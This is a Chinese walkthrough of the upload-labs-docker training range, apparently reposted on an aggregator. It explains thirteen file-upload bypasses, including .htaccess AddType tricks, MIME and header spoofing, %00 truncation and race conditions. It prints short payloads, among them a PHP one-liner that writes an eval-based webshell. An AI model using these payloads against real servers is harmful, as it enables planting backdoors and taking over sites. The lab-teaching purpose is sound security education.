Web攻防07_文件上传基础_文件上传靶场upload-labs-docker

文章目录

  • 项目安装
      • 安装docker
      • 进入项目目录:
      • 一键部署运行
  • 靶场关卡
    • 1、前端JS验证
      • 如何判断是否为前端验证
      • 解法1:抓包
      • 解法2:禁用JS
    • 2、.htaccess
      • 解法
    • 3、MIME类型
      • 解法
    • 4、文件头判断
    • 5、黑名单过滤-过滤不严-单次过滤为空格
    • 6、黑名单-过滤不严-系统大小写敏感属性
    • 7、低版本GET-%00截断,GET中插入截断
      • 00截断漏洞:
      • 适用条件:
      • 解法
    • 8、低版本POST-%00截断,POST中插入截断
    • 9、黑名单-过滤不严
    • 10、逻辑不严-条件竞争
      • 原理
      • 漏洞利用:
    • 11、二次渲染
      • 二次渲染
      • 绕过原理:
    • 12、函数缺陷
      • 原理
      • 利用条件
      • 漏洞利用
    • 13、代码审计-数组绕过

请添加图片描述

文件上传靶场upload-labs-docker,共有13关,涵盖不同类型的上传漏洞,适合新手使用,可以使用docker直接部署

项目&参考地址:

https://github.com/sqlsec/upload-labs-docker

https://www.sqlsec.com/2020/10/upload.html

项目安装

安装docker

apt-get install docker # 安装docker
apt-get install docker-compose # 安装docker-compose

手动下载项目压缩包并放入服务器(git clone可能会比较慢)

进入项目目录:

cd upload-labs-docker

一键部署运行

docker-compose up -d

完成即可访问,端口30001~30013分别对应13个关卡(若要修改端口,在docker-compose.yml文件中修改即可)

靶场关卡

1、前端JS验证

在文件上传时,网站程序是通过前端js代码去验证文件类型以控制上传的。

如何判断是否为前端验证

  1. 看源码
  2. 抓包监听,在文件上传时,如果还未抓到包,就已经提示文件类型不正确,则大概率为前端校验了。

请添加图片描述

解法1:抓包

将上传脚本文件改命为png再上传,后抓包修改文件名回脚本后缀(php)即可

请添加图片描述

解法2:禁用JS

因为是使用前端JS进行验证,所以可以禁用JS,直接进行上传。

2、.htaccess

htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。

AddType application/x-httpd-php .png

借助配置文件htaccess,让服务器将.png类型的文件当作类型application/x-httpd-php来解析执行(即php类型)

.htaccess是修改解析配置的文件

中间件中,将配置文件重新写入,重新修改了解析规则,实现将图片解析为后门的结果。

请添加图片描述

解法

1、抓包,将文件名改为.htaccess,文件内容改为AddType application/x-httpd-php .png,上传

请添加图片描述

2、将脚本名改为.png格式,上传,即可连接脚本。

3、MIME类型

请添加图片描述

通过MIME类型来校验文件类型。即发送数据包中的Content-Type参数来检验。

所以可以通过抓包修改参数绕过。

解法

1、上传脚本时抓包修改Content-Type为合法类型,如: image/png

2、将脚本名改为合法类型(.png),上传时修改文件名。

请添加图片描述

4、文件头判断

请添加图片描述

文件头开头的几个字节可表示文件类型,文件头校验即校验文件头内容,要绕过只需在文件头添加可通过类型字节并修改UA头中类型即可。

请添加图片描述

5、黑名单过滤-过滤不严-单次过滤为空格

请添加图片描述

如上代码第二行,仅将第一行定义的后缀过滤了一次,且是替换为空格,并没有递归过滤,这种过滤规则是不安全的

所以,只要将文件后缀改为pphphp,即可在第一次过滤掉php,剩下的后缀仍为php

6、黑名单-过滤不严-系统大小写敏感属性

请添加图片描述

有些函数是大小写不敏感的,所以换大小写就可绕过,该种情况CTF题型考的多

该题中,str_replace() 函数替换字符串中的一些字符(区分大小写)。

所以将后缀改大小写即可绕过,若是windows系统,大小写不敏感,即可识别运行。

如果是windows操作系统,大小写不敏感,大写的文件后缀也识别运行。

Linux系统会区分大小写,要么全大写,要么全小写,大小写交替不识别。

请添加图片描述

7、低版本GET-%00截断,GET中插入截断

请添加图片描述

00截断漏洞:

https://blog.csdn.net/weixin_44840696/article/details/90581104

适用条件:

  • magic_quotes_gpc=off
  • PHP版本小于5.3.4

在利用前会发包利用回显的版本判断是否可用。

现在基本都是php7版本以上,所以基本没有该漏洞了。

解法

修改路径为/?road=/var/www/html/upload/1.php%00,名称为1.php%001.png,会将文件保存地址拼接,而%00会被URL编码为空字符,造成截断。

截断后,会生成1.php文件,上传成功。

请添加图片描述

8、低版本POST-%00截断,POST中插入截断

POST中内容不会自动解码,所以需要手工解码一次,即需要将%00手动解码为空字符,或在HEX中修改字符为00

如下,修改POST参数中上传路径,并手工解码即可上传成功。

请添加图片描述

9、黑名单-过滤不严

请添加图片描述

过滤不严,有的可执行后缀未过滤。

fuzz字典:fuzzdb-master\attack\file-upload

brpsuite抓包,使用intruder模块,将后缀设为变量,引入字典进行批量测试。

对比返回结果的长度可得结果。

请添加图片描述

由以上结果可知如php3等后缀并未进行黑名单过滤,可绕过进行文件上传。

10、逻辑不严-条件竞争

请添加图片描述

该漏洞少

原理

先上传,接收文件,再进行判断处理,若不通过则删除文件。即文件在服务器存储过,逻辑不严谨。

条件竞争:在文件上传到服务器,还没有进行判断的时候访问到后门。

该漏洞是逻辑上的问题。

漏洞利用:

不断的发包上传访问,请求连接,

上传不断发包,请求不断发包

访问即创建代码文件出来。即访问了就自动触发将后门写入新文件的代码。

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

上传前设置好一直访问对应上传路径。(在burpsuite的intruder模块中设置为no payload,然后让他一直发,就会一直循环发包访问,将文件上传的包也批量发送。)

在黑盒测试中,需要先上传正常文件查看保存路径以及命名,如果命名为随机命名则不能使用该思路了

漏洞判断:黑盒中没办法判断,白盒中可以审计判断,黑盒中即使用该测试方法,测不出来就是没有该漏洞

11、二次渲染

二次渲染

有些网站会对上传的文件进行二次渲染,改变文件内容,上传的带有后门代码的图片/文件会被更改而无法使用

绕过原理:

先搞个正常图片,上传导出渲染后的图片

使用二进制软件对比保留部分,在保留部分添加后门代码

最后利用提示的文件包含执行图片后门代码

很多网站存在的,和文件包含结合。

意义:有时候上传了带有后门的文件(如图片),但是经过网站的二次渲染后,后门代码没了,没有保留,需要了解二次渲染才能让上传的文件中保留代码段。

12、函数缺陷

原理

文件上传使用的函数有缺陷。

move_uploaded_file($temp_file, $img_path)

$img_path 可控的时候,还会忽略掉 $img_path 后面的 /.

所以将文件名改为:shell.php/. 后加上/. ,即可绕过黑名单。

利用条件

  1. 用到move_uploaded_file 函数
  2. 保存的文件名可控,可由自己指定文件名

漏洞利用

将文件名改为:shell.php/. 后加上/.

CTF常考。

13、代码审计-数组绕过

主要考察php代码审计,代码中的逻辑缺陷

现在的文件上传漏洞都不明显,一般比较容易发现的上传位置都没有上传漏洞,在一些难发现的上传点产生文件上传漏洞的概率较大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/228585.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用Composer安装和管理依赖?

Composer 是 PHP 中最流行的依赖管理工具&#xff0c;用于安装、升级和管理项目所需的依赖库。以下是使用 Composer 安装和管理依赖的基本步骤&#xff1a; 步骤 1: 安装 Composer 首先&#xff0c;确保你的系统上已经安装了 Composer。你可以在 Composer 的官方网站 上找到安…

Python生成器(Generator)(继续更新...)

学习网页&#xff1a; Welcome to Python.orghttps://www.python.org/https://www.python.org/ Python生成器 生成器&#xff08;Generator&#xff09;是 Python 的一种特殊类型的迭代器。生成器允许你创建自己的数据流&#xff0c;每次从数据流中获取一个元素&#xff0c;…

活动 | Mint Blockchain 将于 2024 年 1 月 10 号启动 MintPass 限时铸造活动

MintPass 是由 Mint Blockchain 官方发行的 Mint 网络和社区的 NFT 通行证&#xff0c;将在 2024 年 1 月份启动限时铸造活动。今天这篇文章会着重向大家介绍即将举办的 MintPass 活动的基础信息。 MintPass 有 2 种类型&#xff1a; 类型 1&#xff1a;Mint Genesis NFT Mint…

Unity中Shader URP 简介

文章目录 前言一、URP&#xff08;Universal Render Pipeline&#xff09;由名字可知&#xff0c;这是一个 通用的 渲染管线1、Universal&#xff08;通用性&#xff09;2、URP的由来 二、Build-in Render Pipeline&#xff08;内置渲染管线&#xff09;1、LWRP&#xff08;Lig…

【JavaEE】多线程案例 - 定时器

作者主页&#xff1a;paper jie_博客 本文作者&#xff1a;大家好&#xff0c;我是paper jie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 本文于《JavaEE》专栏&#xff0c;本专栏是针对于大学生&#xff0c;编程小白精心打造的。笔者用重金(时间和精力)打造&…

TS Option类型与Promise

用专门的数据类型描述异常&#xff0c;能便于串联可能出错的操作。Option类型就是这张容器&#xff0c;在没有值时也能串联操作。 js中常用Promise来处理异步调用&#xff0c;本文将手动实现Promise的部分功能&#xff0c;来探索这个类型的处理逻辑。 1 处理错误 TS表示和处…

linux下解决 git clone每次都要输入用户名密码问题(推荐)

一条命令解决问题&#xff1a; git config --global credential.helper store使用此命令后还会需要输入一次用户名和密码&#xff0c;但是下一次就不需要了 1.在~/目录下多出两个文件.gitconfig 和.git-credentials &#xff0c;用来记录你的密码和帐号 git config --global…

C语言:求和1+1/2-1/3+1/4-1/5+……-1/99+1/100

#include<stdio.h> int main() {int i 0;double sum 0.0;int flag 1;for (i 1;i < 100;i){sum 1.0 / i * flag;flag -flag;}printf("sum%lf\n", sum);return 0; }

设计模式——策略模式

引言 策略模式是一种行为设计模式&#xff0c; 它能让你定义一系列算法&#xff0c; 并将每种算法分别放入独立的类中&#xff0c; 以使算法的对象能够相互替换。 问题 一天&#xff0c; 你打算为游客们创建一款导游程序。 该程序的核心功能是提供美观的地图&#xff0c; 以…

10Maxwell 增量表首日全量同步

通常情况下&#xff0c;增量表需要在首日进行一次全量同步&#xff0c;后续每日再进行增量同步&#xff0c;首日全量同步可以使用Maxwell的bootstrap功能&#xff0c;方便起见&#xff0c;下面编写一个增量表首日全量同步脚本。 在~/bin目录创vim mysql_to_kafka_inc_init.sh …

【每日一题】使用最小花费爬楼梯

文章目录 Tag题目来源解题思路方法一&#xff1a;动态规划空间优化 写在最后 Tag 【动态规划空间优化】【数组】【2023-12-17】 题目来源 746. 使用最小花费爬楼梯 解题思路 方法一&#xff1a;动态规划 思路 假设数组 cost 的长度为 n&#xff0c;则 n 阶楼梯分别对应下标…

【数据库设计和SQL基础语法】--查询数据--分组查询

一、分组查询概述 1.1 什么是分组查询 分组查询是一种 SQL 查询技术&#xff0c;通过使用 GROUP BY 子句&#xff0c;将具有相同值的数据行分组在一起&#xff0c;然后对每个组应用聚合函数&#xff08;如 COUNT、SUM、AVG等&#xff09;。这允许在数据集中执行汇总和统计操作…

Python往事:ElementTree的单引号之谜

最近在针对某款设备的界面xml进行更新过程中&#xff0c;被告知回稿的字串放在了一个excel文件中&#xff0c;而我要上传到服务器的界面用语是用xml文件封装的。再经过详细求证了翻译组提供excel文件的原因后&#xff0c;我决定用python来完成界面用语xml的更新&#xff0c;但是…

OOD 异常GPT:使用大型视觉语言模型检测工业异常

paper link https://arxiv.org/abs/2308.15366video demo https://youtu.be/lcxBfy0YnNAgithub https://github.com/CASIA-IVA-Lab/AnomalyGPT在线使用 https://huggingface.co/spaces/FantasticGNU/AnomalyGPT 摘要 大型视觉语言模型&#xff08;LVLM&#xff09;如MiniGPT-4…

大数据CloudSim应用实践

CloudSimExampleA.java 1准备 1.1操作系统 本实验在Windows 7 或Windows 10系统运行均可。 1.2软件 cloudsim-3.0.3.zip&#xff1b; commons-math3-3.2-bin.zip&#xff1b; jdk-8u152-windows-x64.exe&#xff1b; eclipse-jee-neon-3-win32-x86_64 所需资料链接&#xff1…

W25Q64(模拟SPI)读写数据的简单应用

文章目录 一、W25Q64是什么&#xff1f;二、使用步骤1.硬件1.引脚说明2.硬件连接3.设备ID4.内部框架5.指令集指令集1指令集2 2.软件1.W25Q64引脚定义代码如下&#xff08;示例&#xff09;&#xff1a;2.W25Q64初始化代码如下&#xff08;示例&#xff09;&#xff1a;3.W25Q64…

【IC前端虚拟项目】MVU模块方案与背景熟悉

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 mvu这个模块是干嘛用的呢&#xff1f;从这个名字就可以看出来move_unit&#xff0c;应该是做数据搬运的。很多指令级中都会有数据搬运的指令&#xff0c;这类指令的作用一般是在片内片外缓存以及通用专用…

Skywalking告警规则示例

skywalking告警规则文件配置示例【包含自定义规则】: # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ow…

【C++多线程编程】(二)之详解锁(lock)和解锁(unlock)

在C多线程编程中&#xff0c;锁&#xff08;lock&#xff09;和解锁&#xff08;unlock&#xff09;通常用于管理共享资源的访问&#xff0c;以防止多个线程同时对资源进行修改&#xff0c;从而避免竞态条件&#xff08;Race Condition&#xff09;和数据不一致性问题。C标准库…

Java基础语法之抽象类和接口

抽象类 什么是抽象类 并不是所有的类都是用来描述对象的&#xff0c;这样的类就是抽象类 例如&#xff0c;矩形&#xff0c;三角形都是图形&#xff0c;但图形类无法去描述具体图形&#xff0c;所以它的draw方法无法具体实现&#xff0c;这个方法就可以没设计成抽象方法&…